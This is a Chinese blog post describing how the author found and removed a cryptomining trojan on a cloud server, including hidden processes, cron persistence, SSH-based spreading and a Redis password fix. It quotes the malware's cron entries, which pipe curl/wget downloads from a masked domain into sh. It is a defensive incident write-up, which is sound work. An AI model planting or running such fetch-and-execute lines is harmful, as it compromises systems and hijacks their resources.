记录一次线上服务器被种挖矿木马的过程

记录一次线上服务器被种挖矿木马的过程

一个周六的下午,收到阿里云的服务器邮件预警,被告知服务器的CPU负载已经到达了极限。

服务器上面运行的程序并不多,仅仅一个简单的博客系统,用Java开发的简单博客,博客访问量并不大,平时的平均CPU负载也只是20%左右,没理由一个小小的博客会把服务器的CPU打满。

博客也打不开了,很显然,100%的CPU负载,博客打不开是意料中的事。

第一次遇到此类问题,并不知道问题所在,结合百度开始排查:

一、执行top命令,查看系统的CPU占用率:

#查看系统资源占用率显示运行命令行
top

显示一切正常,没有异常未知进程,也没有异常CPU占用。回到阿里云后台查看CPU负载,依然还是100%,并不正常。

很显然,top命令已经被伪装了。


二、执行busybox top命令,揪出幕后真凶

busybox并不是系统自带的命令,需要自行安装。top命令已经被非法用户被篡改过的时候,我们可以通过在前面加上busybox,查看那些被隐藏掉的进程。

果然发现了异常,有几个不认识的进程,占用了100%的服务器负载。

二话不说,一律kill掉所有不认识的进程。

kill -9 [pid]

服务器负载瞬间下来,过不了5秒,又瞬间拉满,所有被kill掉的进程,再次全部出现在列表中。

在守护程序都被干掉的情况下,还能全部重启回来,很显然,程序设置了自动重启。


三、查找定时器列表,找到异常的定时器设置

crontab -l 

在所有的定时器记录中,找到了这么一条记录(域名已作隐藏处理):

*/30 * * * * (curl -fsSL https://xxxxxx.com/raw/yPRSa0ki|||wget -q -O- https://xxxxxx.com/raw/TS4NeUnd)|sh

定时器每隔30秒就会从指定网址下载一个脚本文件并且执行,先备份一下命令用作后续研究,然后删掉这个定时器。

回到第二步,kill掉所有可疑进程。


四、依然卷土从来,负载再次拉满

清掉定时器,kill掉所有进程,依然过不了几秒,木马再度卷土重来,所有木马进程又启动起来,查看定时器,可疑定时器配置依然存在。

不得不再问百度,挖矿进程、守护进程、定时器,一度怀疑是服务器再度被提权。

静下心来研究了一下他们在定时器下载下来的文件,下载下来的是一串字符,并不是直接的命令文本,试着用Base64解码,成了。


木马文件内容解读

1、命令第二行:

echo "*/10 * * * * (curl -fsSL https://xxxxxx.com/raw/TS4NeUnd||wget -q -O- https://xxxxxx.com/raw/TS4NeUnd)|sh" | crontab -

命令每运行一次,会往定时器文件里面写入定时器配置,被清掉的定时器配置,不用多久就被其他进程恢复回来了,所以一直都清不干净。

2、然后,kill掉一堆进程(主要是竞争对手的进程,大概数十条kill命令,同时也会kill掉一些可能会对他们有妨碍的系统进程)

3、根据你的系统下载各种不同的挖矿脚本、守护进程脚本并授权执行,下载链接大多以jpg为后缀命名,躲避排查。

4、遍历你的known_hosts文件,并尝试用id_rsa.pub中的公钥一一去访问,爆破并感染你其他的服务器。

5、擦掉所有操作日志。


问题的解决:

1、在hosts文件中,将定时器中下载脚本的域名指向127.0.0.1,切断定时器与外界的联系,并清掉定时器内容。

2、kill掉所有可疑进程。

3、根据脚本文件,删掉所有木马文件。

4、重新生成id_rsa.pub中的内容。

5、Redis设置访问密码,并重启。(这是这次服务器被提权的根本问题)

本文地址:http://blog.here325.com/detail/1246
版权说明:文章如无特别说明,则表明该文章为原创文章,如需要转载,请注明出处。
本站说明:本站使用阿里云服务器,如果您喜欢我的网站,欢迎收藏。

相关文章

后端开发